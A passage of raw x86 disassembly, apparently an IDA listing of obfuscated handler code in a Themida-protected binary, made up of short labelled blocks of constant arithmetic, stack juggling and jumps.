		mov	ebx, 5D0C7E74h
		add	eax, ebx
		mov	ebx, [esp+42h+var_44+2]
		add	esp, 4
		push	ebp
		jmp	loc_568701
; ---------------------------------------------------------------------------


loc_5671E8:				; CODE XREF: sub_56207C-3794j
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_5633EA
; ---------------------------------------------------------------------------


loc_5671FD:				; CODE XREF: sub_5612AF+1Fj
		push	ebx
		mov	ebx, 31494522h
		jmp	loc_566357
; ---------------------------------------------------------------------------


loc_567208:				; CODE XREF: sub_56207C-234Cj
		push	ebx
		jmp	loc_561A17
; ---------------------------------------------------------------------------


loc_56720E:				; CODE XREF: sub_56207C+5FEj
		push	ecx
		jmp	loc_56056F
; ---------------------------------------------------------------------------


loc_567214:				; CODE XREF: sub_56207C-72Aj
		shr	esi, 4
		xor	esi, 457105F1h
		jmp	loc_572145
; ---------------------------------------------------------------------------


loc_567222:				; CODE XREF: sub_56207C+ED66j
		add	edx, 3D063A09h
		sub	edx, 37F96FF3h
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_564405
; ---------------------------------------------------------------------------


loc_567239:				; CODE XREF: sub_56207C+BB5Dj
		mov	ecx, 70B96FC4h
		push	ecx
		jmp	loc_5680B1
; ---------------------------------------------------------------------------


loc_567244:				; CODE XREF: sub_56207C+102B7j
		mov	[esp+18h+var_18], esp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		jmp	loc_56FA43
; ---------------------------------------------------------------------------


loc_567252:				; CODE XREF: sub_56207C+8D79j
		add	ecx, 4
		jmp	loc_5682B0
; ---------------------------------------------------------------------------


loc_56725D:				; DATA XREF: Themida_:0055E254o
		push	[esp+1Ch+var_1C]
		jmp	loc_571F78
; ---------------------------------------------------------------------------


loc_567265:				; CODE XREF: sub_56207C+CB45j
		mov	edx, [esp+20h+var_20]
		jmp	loc_56CE79
; ---------------------------------------------------------------------------


loc_56726D:				; CODE XREF: sub_56207C-2CAj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+20h+var_20]
		pop	esp
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_568924
; ---------------------------------------------------------------------------


loc_567288:				; CODE XREF: sub_56207C-1EDj
		add	esp, 4
		sub	esp, 4
		mov	[esp+42h+var_44+2], ebx
		push	2A54h
		mov	[esp+46h+var_48+2], ecx
		mov	ecx, 57E31817h
		push	ebx
		mov	ebx, 775221C1h
		sub	ebx, 0A7AB75E8h
		add	ecx, 5320759Ah
		jmp	loc_56DD3E
; ---------------------------------------------------------------------------


loc_5672B5:				; CODE XREF: sub_56207C+C4ADj
		push	ebx
		mov	ebx, 7211141Dh
		sub	ebx, 6D32A7B0h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 0FCEB8AD9h
		jmp	loc_5669BA
; ---------------------------------------------------------------------------


loc_5672CF:				; CODE XREF: sub_56207C+179Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+22h+var_24+2]
		jmp	loc_56B2FC
; ---------------------------------------------------------------------------


loc_5672E3:				; CODE XREF: sub_56207C+1A51j
		push	[esp+4Ah+var_4C+2]
		mov	eax, [esp+4Eh+var_50+2]
		add	esp, 4
		add	esp, 4
		push	1E95h
		mov	[esp+4Ah+var_4C+2], edi
		push	ecx
		jmp	loc_56E186
; ---------------------------------------------------------------------------


loc_567300:				; CODE XREF: sub_56207C+10BE0j
		push	630Dh
		mov	[esp+52h+var_54+2], ebx
		push	ebp
		mov	ebp, 799F080Dh
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], edi
		push	ecx
		mov	ecx, ebp
		jmp	loc_57312E
; ---------------------------------------------------------------------------


loc_56731C:				; CODE XREF: sub_56207C+87E3j
		add	edx, 0AD951411h
		mov	esi, edx
		pop	edx
		inc	esi
		or	esi, 2F9E4CB6h
		xor	esi, 73044200h
		jmp	loc_565560
; ---------------------------------------------------------------------------


loc_567337:				; CODE XREF: sub_56207C+7D96j
		pop	ecx
		push	edx
		mov	edx, 65F23A56h
		add	eax, edx
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		add	eax, 5F5E7BAEh
		add	eax, ebx
		jmp	loc_56A515
; ---------------------------------------------------------------------------


loc_567355:				; CODE XREF: sub_56207C+75B1j
		sub	esi, eax
		jmp	loc_56CC62
; ---------------------------------------------------------------------------


loc_56735C:				; CODE XREF: sub_56207C-1A5Aj
		add	al, 0F8h
		pop	ebx
		add	al, 0C0h
		add	al, bl
		sub	al, 0C0h
		push	ebx
		push	ecx
		jmp	loc_56E40F
; ---------------------------------------------------------------------------


loc_56736C:				; CODE XREF: sub_56207C+3634j
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, 25E140A1h
		add	edi, ecx
		jmp	loc_562668
; ---------------------------------------------------------------------------


loc_567385:				; CODE XREF: sub_56207C+9B5Aj
		neg	eax
		neg	eax
		shl	eax, 5
		and	eax, 42AF4948h
		add	eax, 734B0C07h
		sub	ebx, eax
		pop	eax
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	loc_56046F
; ---------------------------------------------------------------------------


loc_5673A2:				; CODE XREF: sub_56207C+2959j
		push	4A6D202Fh
		jmp	loc_56CA89
; ---------------------------------------------------------------------------


loc_5673AC:				; CODE XREF: sub_56207C+EA53j
		add	edi, 4
		push	esi
		push	ebp
		jmp	loc_57070B
; ---------------------------------------------------------------------------


loc_5673B9:				; CODE XREF: sub_56207C+46C5j
		push	4F28h
		jmp	loc_566FA4
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_569511
; ---------------------------------------------------------------------------


loc_5673C9:				; CODE XREF: sub_56207C+10226j
		dec	ebx
		push	eax
		push	7F84CC6h
		jmp	loc_565D95
; ---------------------------------------------------------------------------


loc_5673D5:				; CODE XREF: sub_56207C+10AA8j
		push	[esp+2Eh+var_2C+2]
		mov	edx, [esp+32h+var_34+2]
		jmp	loc_565568
; ---------------------------------------------------------------------------


loc_5673E1:				; CODE XREF: sub_56207C-5E9j
		xor	al, dl
		push	[esp+1Ch+var_1C]
		jmp	loc_561957
; ---------------------------------------------------------------------------


loc_5673EB:				; CODE XREF: sub_56207C+AE32j
		sub	ah, 0FFh
		not	ah
		not	ah
		push	ebx
		push	edx
		mov	dh, 0CFh
		sub	dh, 4Eh
		neg	dh
		add	dh, 90h
		mov	bl, dh
		pop	edx
		add	ah, bl
		pop	ebx
		push	ecx
		mov	cl, ah
		jmp	loc_5615F3
; ---------------------------------------------------------------------------


loc_56740C:				; CODE XREF: sub_56207C+15D0j
		mov	ecx, 4C162D8Ch
		mov	edi, 0B510F5B2h
		add	edi, 69755630h
		add	edi, ecx
		push	eax
		jmp	loc_562873
; ---------------------------------------------------------------------------


loc_567424:				; CODE XREF: sub_56207C+D5D8j
		mov	esp, [esp+24h+var_24]
		jmp	loc_564E07
; ---------------------------------------------------------------------------


loc_56742C:				; CODE XREF: sub_56207C-C92j
		add	esp, 4
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		xor	esi, [esp+18h+var_18]
		jmp	loc_56EE41
; ---------------------------------------------------------------------------


loc_567443:				; CODE XREF: sub_56207C+FEBCj
		mov	ebx, edx
		pop	edx
		jmp	loc_56F8FA
; ---------------------------------------------------------------------------


loc_56744B:				; CODE XREF: sub_56207C+10D6j
		mov	bl, ch
		pop	ecx
		jmp	loc_571F4B
; ---------------------------------------------------------------------------


loc_567453:				; CODE XREF: sub_56207C+662j
		dec	bh
		jmp	loc_5733D5
; ---------------------------------------------------------------------------


loc_56745A:				; CODE XREF: sub_56207C+8773j
		sub	ebx, 1CAB41F4h
		jmp	loc_567E7F
; ---------------------------------------------------------------------------


loc_567465:				; CODE XREF: sub_56207C+A60Aj
		pop	ebp
		jmp	loc_573085
; ---------------------------------------------------------------------------


loc_56746B:				; CODE XREF: sub_56207C-1B28j
		xor	edx, ebx
		jmp	loc_569F3B
; ---------------------------------------------------------------------------


loc_567472:				; CODE XREF: sub_56207C+59F1j
		mov	[esp+10h+var_10], ebp
		mov	ebp, 2F967B1Ah
		jmp	loc_562A8B
; ---------------------------------------------------------------------------


loc_56747F:				; CODE XREF: sub_56207C+6D2j
		add	ecx, edx
		jmp	loc_568F9B
; ---------------------------------------------------------------------------


loc_567486:				; CODE XREF: sub_56207C+66AEj
		mov	esp, [esp+28h+var_28]
		neg	ebp
		sub	ebp, 0BEEE41D3h
		add	eax, 14E56090h
		add	eax, 2B586A51h
		sub	eax, ebp
		push	ebx
		mov	ebx, 39C4048Dh
		jmp	loc_56EBB0
; ---------------------------------------------------------------------------


loc_5674A8:				; CODE XREF: sub_56207C+5F09j
		sub	esi, 0BD55B9CCh
		sub	eax, esi
		pop	esi
		add	eax, 746308E1h
		push	[esp+28h+var_28]
		pop	ecx
		jmp	loc_56B44E
; ---------------------------------------------------------------------------


loc_5674BF:				; CODE XREF: sub_56207C+A5ABj
		add	ebx, ebp
		pop	ebp
		jmp	loc_56BAB5
; ---------------------------------------------------------------------------


loc_5674C7:				; CODE XREF: sub_56207C+5A12j
		mov	[esp+24h+var_24], ebx
		jmp	loc_56DF14
; ---------------------------------------------------------------------------


loc_5674CF:				; CODE XREF: sub_56207C+5961j
		add	ebx, eax
		pop	eax
		jmp	loc_55F4EB
; ---------------------------------------------------------------------------


loc_5674D7:				; CODE XREF: sub_56207C+8810j
		pop	esp
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 39EA7611h
		shl	edx, 7
		xor	edx, 80F04C75h
		add	ebx, edx
		pop	edx
		shl	ebx, 6
		xor	ebx, 440041AAh
		xor	ebx, 82003CE8h
		jmp	loc_560734
; ---------------------------------------------------------------------------


loc_567500:				; CODE XREF: sub_56207C+F186j
		xor	ch, ah
		pop	eax
		push	eax
		jmp	loc_55E490
; ---------------------------------------------------------------------------


loc_567509:				; CODE XREF: sub_56207C+EA6Dj
		pop	ebp
		add	esi, ecx
		pop	ecx
		jmp	loc_56FE26
; ---------------------------------------------------------------------------


loc_567512:				; CODE XREF: sub_56207C+10AFj
		push	esi
		push	ebx
		add	[esp+68h+var_68], 2C8729C6h
		push	[esp+68h+var_68]
		pop	esi
		jmp	loc_567D7E
; ---------------------------------------------------------------------------


loc_567524:				; CODE XREF: sub_56207C-1E57j
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	[esp+1Ah+var_18+2]
		mov	ebx, [esp+1Eh+var_20+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_55FDA9
; ---------------------------------------------------------------------------


loc_567547:				; CODE XREF: sub_56207C-1160j
		sub	esp, 4
		mov	[esp+34h+var_34], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_567569:				; CODE XREF: sub_56207C-27F7j
		sub	ecx, 27A57D9Fh
		push	eax
		jmp	loc_55EFB9
; ---------------------------------------------------------------------------


loc_567575:				; CODE XREF: sub_56207C+E84Ej
		mov	ebx, 469C654Bh
		jmp	loc_56E067
; ---------------------------------------------------------------------------


loc_56757F:				; CODE XREF: sub_56207C+B08Fj
		push	[esp+24h+var_24]
		pop	edx
		jmp	loc_56FBD4
; ---------------------------------------------------------------------------


loc_567588:				; CODE XREF: sub_56207C+C988j
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_56D2AB
; ---------------------------------------------------------------------------


loc_567593:				; CODE XREF: sub_56207C+90D4j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], ebp
		push	ecx
		push	ebx
		mov	ebx, 542D68F2h
		mov	ecx, 206E59B5h
		xor	ecx, ebx
		pop	ebx
		shl	ecx, 5
		xor	ecx, 886628E4h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_56334D
; ---------------------------------------------------------------------------


loc_5675E4:				; CODE XREF: sub_56207C-A45j
		push	edx
		mov	edx, edi
		mov	eax, edx
		pop	edx
		pop	edi
		add	ebx, 49257317h
		add	ebx, eax
		sub	ebx, 49257317h
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		btr	[esp+0], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56761C:				; CODE XREF: sub_56207C+7877j
		push	edi
		mov	edi, 3B9475B6h
		add	edx, edi
		jmp	loc_55E6F3
; ---------------------------------------------------------------------------


loc_567629:				; CODE XREF: sub_56207C+14FFj
		mov	eax, 20EC7BEDh
		or	eax, 59366AD0h
		inc	eax
		xor	eax, 2F3D782Fh
		jmp	loc_5698B5
; ---------------------------------------------------------------------------


loc_56763E:				; CODE XREF: sub_56207C+A8BCj
		pop	ebp
		add	eax, 46934617h
		add	eax, edi
		sub	eax, 46934617h
		push	esi
		mov	esi, 7BBE7FA2h
		add	eax, esi
		pop	esi
		mov	edi, [esp+34h+var_34]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57083E
; ---------------------------------------------------------------------------


loc_56766B:				; CODE XREF: sub_56207C+2E6Fj
		pop	edi
		jmp	loc_56A10F
; ---------------------------------------------------------------------------


loc_567671:				; CODE XREF: sub_56207C-3AF7j
		pop	ecx
		pop	ecx
		add	edi, ebp
		add	edi, 2554955h
		pop	ebp
		and	eax, edi
		push	[esp+20h+var_20]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_56E482
		push	dword ptr [edi+1Ch]
		push	1B11h
		mov	[esp+24h+var_24], edi
		push	edx
		jmp	loc_562521
; ---------------------------------------------------------------------------


loc_56769E:				; CODE XREF: sub_56207C-12E0j
		push	esp
		pop	edx
		jmp	loc_57322A
; ---------------------------------------------------------------------------


loc_5676A5:				; CODE XREF: sub_56207C+11245j
		mov	[esp+34h+var_34], esp
		jmp	loc_56B02E
; ---------------------------------------------------------------------------


loc_5676AD:				; CODE XREF: sub_56207C-520j
		pop	edx
		add	eax, ebx
		jmp	loc_565671
; ---------------------------------------------------------------------------


loc_5676B5:				; CODE XREF: sub_56207C+91FEj
		pop	edx
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], eax
		push	[esp+0Ah+var_8+2]
		jmp	loc_56F9D8
; ---------------------------------------------------------------------------


loc_5676C8:				; CODE XREF: sub_56207C-1395j
		pop	esp
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_565802
; ---------------------------------------------------------------------------


loc_5676D1:				; CODE XREF: sub_56207C+F63Dj
		add	edx, edi
		pop	edi
		jmp	loc_56D9B7
; ---------------------------------------------------------------------------


loc_5676D9:				; CODE XREF: sub_56207C+DF51j
		xchg	ebp, [esp+0Eh+var_10+2]
		jmp	loc_565DDD
; ---------------------------------------------------------------------------


loc_5676E1:				; CODE XREF: sub_56207C+25CBj
		xor	ebx, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_571C1E
; ---------------------------------------------------------------------------


loc_5676EA:				; CODE XREF: sub_56207C+6A30j
		push	ecx
		mov	ecx, 5BF2147Eh
		push	ebx
		mov	ebx, 592F5EB9h
		sub	ebx, 3A51483Fh
		or	ebx, 30AF0046h
		sub	ebx, 0AD4286Eh
		xor	ebx, 3562276Bh
		xor	ebx, 2876AF55h
		jmp	loc_560848
; ---------------------------------------------------------------------------


loc_567719:				; CODE XREF: sub_56207C-2902j
		mov	ebx, 2
		push	ebp
		mov	ebp, 431B3A27h
		sub	esi, ebp
		pop	ebp
		add	esi, ebx
		add	esi, 431B3A27h
		pop	ebx
		xchg	esi, [esp+14h+var_14]
		jmp	loc_5720CB
; ---------------------------------------------------------------------------


loc_567738:				; CODE XREF: sub_56207C+5E1Dj
		add	[esp+14h+var_14], 4
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		push	edx
		push	eax
		push	79D41305h
		pop	eax
		shr	eax, 5
		neg	eax
		neg	eax
		add	eax, 36A17E34h
		mov	edx, eax
		jmp	loc_56C29B
; ---------------------------------------------------------------------------


loc_56775E:				; CODE XREF: sub_56207C+3D5Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56BBF0
; ---------------------------------------------------------------------------


loc_56776F:				; CODE XREF: sub_56207C+3CFDj
		mov	edi, [esp+1Ah+var_1C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Eh+var_20+2]
		pop	esp
		push	[esp+1Ah+var_1C+2]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_56E85E
; ---------------------------------------------------------------------------


loc_56779A:				; CODE XREF: sub_56207C+F711j
		add	ebp, 4
		jmp	loc_55FE63
; ---------------------------------------------------------------------------


loc_5677A5:				; CODE XREF: sub_56207C+F8DCj
		shr	esi, 8
		sub	esi, 0A7E51716h
		sub	ebp, 29982197h
		add	ebp, esi
		add	ebp, 29982197h
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		add	ebp, edx
		sub	esp, 4
		jmp	loc_57328B
; ---------------------------------------------------------------------------


loc_5677CF:				; CODE XREF: sub_56207C+F765j
		pop	esi
		xor	edx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], edx
		xor	edx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		dec	word ptr [esp+12h+var_14+2]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5677E6:				; CODE XREF: sub_56207C-2BF5j
		add	edi, 2C3D2DA3h
		dec	edi
		shr	edi, 4
		sub	edi, 298074Bh
		sub	ebp, 3AB520E9h
		jmp	loc_562353
; ---------------------------------------------------------------------------


loc_567801:				; CODE XREF: sub_56207C+9892j
		push	4B7Dh
		mov	[esp+16h+var_18+2], ecx
		jmp	loc_568172
; ---------------------------------------------------------------------------


loc_56780E:				; CODE XREF: sub_56207C+6A85j
		pop	esp
		sub	edx, 7201553Ah
		add	edx, eax
		push	ebp
		mov	ebp, 4A43220Fh
		and	ebp, 342368F2h
		push	edx
		push	ecx
		mov	ecx, 2D4D41FFh
		push	304345ABh
		pop	edx
		add	edx, 527454Ah
		sub	edx, ecx
		jmp	loc_5660AE
; ---------------------------------------------------------------------------


loc_56783D:				; CODE XREF: sub_56207C+EAE3j
		not	dh
		jmp	loc_565809
; ---------------------------------------------------------------------------


loc_567844:				; CODE XREF: sub_56207C+EC61j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Eh+var_20+2]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_56D8DE
; ---------------------------------------------------------------------------


loc_56785F:				; CODE XREF: sub_56207C+10F5Fj
		pop	ebp
		sub	ecx, 29A125Fh
		sub	ecx, 45FD4187h
		add	ecx, ebp
		jmp	loc_564D92
; ---------------------------------------------------------------------------


loc_567873:				; CODE XREF: sub_56207C+1B64j
		push	2BF423F4h
		pop	ebx
		xor	ebx, 2BF423F6h
		mov	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, esi
		mov	edi, ecx
		mov	ecx, [esp+38h+var_38]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		mov	esi, [esp+38h+var_38]
		push	581Dh
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_572EAB
; ---------------------------------------------------------------------------


loc_5678A9:				; CODE XREF: sub_56207C+85EDj
		mov	edi, [esp+3Ch+var_3C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		add	ebx, eax
		jmp	loc_55F7FA
; ---------------------------------------------------------------------------


loc_5678C6:				; CODE XREF: sub_56207C+10F75j
		mov	[esp+3Ch+var_3C], ebx
		push	[esp+3Ch+var_3C]
		push	[esp+40h+var_40]
		push	[esp+44h+var_44]
		jmp	loc_56700D
; ---------------------------------------------------------------------------


loc_5678D7:				; CODE XREF: sub_56207C+3C12j
		pop	eax
		sub	bl, 34h
		jmp	loc_5633B9
; ---------------------------------------------------------------------------


loc_5678E0:				; CODE XREF: sub_56207C+10F55j
		shr	ecx, 2
		push	550Ch
		mov	[esp+2Ch+var_2C], ebx
		jmp	loc_55E9BA
; ---------------------------------------------------------------------------


loc_5678F0:				; CODE XREF: sub_56207C+1DE4j
		add	eax, ebx
		push	1BDCh
		mov	[esp+3Eh+var_40+2], edi
		mov	edi, 7D220745h
		add	edi, 1
		add	edi, 325F4DD8h
		add	edi, 0A2E01E0Bh
		jmp	loc_566BBE
; ---------------------------------------------------------------------------


loc_567913:				; CODE XREF: sub_56207C+686Dj
		xchg	eax, [esp+3Eh+var_40+2]
		pop	esp
		mov	[esp+3Ah+var_3C+2], edi
		push	6869h
		mov	[esp+3Eh+var_40+2], esp
		add	[esp+3Eh+var_40+2], 4
		jmp	loc_565A02
; ---------------------------------------------------------------------------


loc_56792B:				; DATA XREF: Themida_:0055E2B0o
		lodsb
		sub	al, 0BFh
		sub	al, 46h
		sub	al, 83h
		sub	al, bl
		add	al, 83h
		add	al, 46h
		push	69C7h
		mov	[esp+42h+var_44+2], ebx
		mov	bl, 0A7h
		inc	bl
		neg	bl
		or	bl, 0ECh
		dec	bl
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp+46h+var_48+2]
		pop	esp
		mov	word ptr [esp+42h+var_44+2], dx
		mov	dh, 42h
		add	bl, 73h
		sub	bl, dh
		sub	bl, 73h
		mov	dx, word ptr [esp+42h+var_44+2]
		add	esp, 2
		sub	bl, 0FAh
		push	ebx
		mov	bh, 0BDh
		add	bh, 0BCh
		inc	bh
		add	bh, 24h
		push	ecx
		mov	cl, 5Fh
		add	cl, 6Fh
		sub	bh, cl
		pop	ecx
		jmp	loc_570746
; ---------------------------------------------------------------------------


loc_56798F:				; CODE XREF: sub_56207C+CBC1j
		sub	dh, ah
		jmp	loc_571ED9
; ---------------------------------------------------------------------------


loc_567996:				; CODE XREF: sub_56207C+E757j
		and	edi, 2289334Eh
		not	edi
		jmp	loc_56C5D0
; ---------------------------------------------------------------------------


loc_5679A3:				; CODE XREF: sub_56207C+2D50j
		add	esp, 4
		pop	[esp+36h+var_38+2]
		pop	esp
		mov	edi, [esp+2Eh+var_30+2]
		add	esp, 4
		not	edi
		xor	eax, edi
		jmp	loc_56277F
; ---------------------------------------------------------------------------


loc_5679B9:				; CODE XREF: sub_56207C+7241j
		not	edi
		push	ecx
		mov	ecx, 5275053Ch
		add	ecx, 0E38D23FDh
		xor	edi, ecx
		jmp	loc_560DC3
; ---------------------------------------------------------------------------


loc_5679CE:				; CODE XREF: sub_56207C+10F96j
		pop	edx
		push	dword ptr [ebx]
		jmp	loc_56A050
; ---------------------------------------------------------------------------


loc_5679D6:				; CODE XREF: sub_56207C+BB54j
		not	eax
		xor	eax, 0B1BF960Fh
		jmp	loc_5674CF
; ---------------------------------------------------------------------------


loc_5679E2:				; CODE XREF: sub_56207C+B802j
		add	edi, 4
		jmp	loc_572901
; ---------------------------------------------------------------------------


loc_5679ED:				; CODE XREF: sub_56207C+1A4Aj
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		jmp	loc_569F52
; ---------------------------------------------------------------------------


loc_5679FE:				; CODE XREF: sub_56207C+625Cj
		add	edi, 6E362980h
		add	edi, edx
		sub	edi, 6E362980h
		jmp	loc_56FE69
; ---------------------------------------------------------------------------


loc_567A11:				; CODE XREF: sub_56207C+6B39j
		mov	ebp, 644F10AEh
		and	eax, ebp
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_571887
; ---------------------------------------------------------------------------


loc_567A20:				; CODE XREF: sub_56207C+36EAj
		sub	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		mov	ebx, 2
		add	ecx, 5D5A5334h
		add	ecx, ebx
		jmp	loc_56E206
; ---------------------------------------------------------------------------


loc_567A3F:				; CODE XREF: sub_56207C-134Fj
		push	edx
		push	esi
		pop	edx
		mov	edi, edx
		pop	edx
		pop	esi
		add	[esp+1Ch+var_18], edi
		jmp	loc_56C6BA
; ---------------------------------------------------------------------------


loc_567A4F:				; CODE XREF: sub_56207C-2393j
		xor	ebp, 858AEFCCh
		jmp	loc_56645B
; ---------------------------------------------------------------------------


loc_567A5A:				; CODE XREF: sub_56207C+1DC6j
		add	esp, 4
		shl	eax, 6
		sub	eax, 68626FF7h
		push	0A69h
		jmp	loc_567472
; ---------------------------------------------------------------------------


loc_567A72:				; CODE XREF: sub_56207C+10983j
		rol	[esp+3Eh+var_40+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_567A7B:				; CODE XREF: sub_56207C+8F8Dj
		pop	[esp+42h+var_44+2]
		jmp	loc_5622B2
; ---------------------------------------------------------------------------


loc_567A83:				; CODE XREF: sub_56207C+9A3Cj
		pop	esp
		jmp	loc_56E615
; ---------------------------------------------------------------------------


loc_567A89:				; CODE XREF: sub_56207C+26E2j
		add	edx, edi
		sub	esp, 4
		jmp	loc_5674C7
; ---------------------------------------------------------------------------


loc_567A93:				; CODE XREF: sub_56207C+95Dj
		push	668Eh
		jmp	loc_56ADFA
; ---------------------------------------------------------------------------


loc_567A9D:				; CODE XREF: sub_56207C+BC12j
		sub	ebx, 9310A4Dh
		not	ebx
		jmp	loc_572E4C
; ---------------------------------------------------------------------------


loc_567AAA:				; CODE XREF: sub_56207C+F218j
		mov	esp, [esp+3Eh+var_40+2]
		push	1483h
		mov	[esp+42h+var_44+2], ecx
		pop	dword ptr [eax]
		jmp	loc_569274
; ---------------------------------------------------------------------------


loc_567ABC:				; CODE XREF: sub_56207C+F954j
		sub	ebp, 70E20B53h
		jmp	loc_560110
; ---------------------------------------------------------------------------


loc_567AC7:				; CODE XREF: sub_56207C+2008j
		push	ecx
		push	ebx
		push	15E0E5Ch
		pop	ebx
		inc	ebx
		add	ebx, 3722737Dh
		push	eax
		mov	eax, 1E133146h
		add	eax, 293664F8h
		inc	eax
		dec	eax
		sub	eax, 32CF7918h
		jmp	loc_56AE4C
; ---------------------------------------------------------------------------


loc_567AED:				; CODE XREF: sub_56207C+14F1j
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_56263F
; ---------------------------------------------------------------------------


loc_567AF6:				; CODE XREF: sub_56207C+D35Dj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	7C05h
		mov	[esp+38h+var_38], ebp
		push	edx
		mov	edx, 1F347768h
		add	edx, 0EDB7E25Eh
		mov	ebp, edx
		pop	edx
		and	ebp, 0DC7499h
		sub	ebp, 0CC507Ch
		sub	eax, ebp
		pop	ebp
		xor	eax, [esp+34h+var_34]
		xor	[esp+34h+var_34], eax
		xor	eax, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		mov	[esp+34h+var_34], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		push	edi
		push	edx
		jmp	loc_562FFD
; ---------------------------------------------------------------------------


loc_567B46:				; CODE XREF: sub_56207C-4B6j
		or	esi, 0CAF1DA8h
		dec	esi
		sub	esi, 5A705D5Ch
		jmp	loc_561FC1
; ---------------------------------------------------------------------------


loc_567B58:				; CODE XREF: sub_56207C+E57Bj
		mov	esi, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_561AA5
; ---------------------------------------------------------------------------


loc_567B66:				; CODE XREF: sub_56207C+12Aj
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 4
		and	ebx, 186A0911h
		jmp	loc_571CD7
; ---------------------------------------------------------------------------


loc_567B77:				; CODE XREF: sub_56207C+F95Cj
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		push	edi
		push	esi
		push	edi
		mov	edi, 23CD1E0Eh
		not	edi
		jmp	loc_55E91F
; ---------------------------------------------------------------------------


loc_567B8F:				; CODE XREF: sub_56207C+166Ej
		xchg	eax, edi
		inc	edi
		xor	edi, 0B02AB72Ah
		sub	eax, edi
		jmp	loc_56DE38
; ---------------------------------------------------------------------------


loc_567B9E:				; CODE XREF: sub_56207C+9FD5j
		add	ecx, 4
		push	ebp
		jmp	loc_564EF0
; ---------------------------------------------------------------------------


loc_567BAA:				; CODE XREF: sub_56207C+4EC2j
		mov	ebx, 78983E1Eh
		neg	ebx
		and	ebx, 72F06D11h
		and	ebx, 5D142474h
		neg	ebx
		jmp	loc_56E790
; ---------------------------------------------------------------------------


loc_567BC4:				; CODE XREF: sub_56207C+90BAj
		xor	esi, 36630F62h
		sub	esi, 0F69EB835h
		add	ecx, esi
		pop	esi
		add	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		inc	eax
		push	ebx
		mov	ebx, 0F62C54C3h
		add	eax, 129E3513h
		jmp	loc_560067
; ---------------------------------------------------------------------------


loc_567BEA:				; CODE XREF: sub_56207C+7B35j
		push	edi
		jmp	loc_567E27
; ---------------------------------------------------------------------------


loc_567BF0:				; CODE XREF: sub_56207C+7277j
		pop	ebx
		add	eax, 589D585Eh
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebx
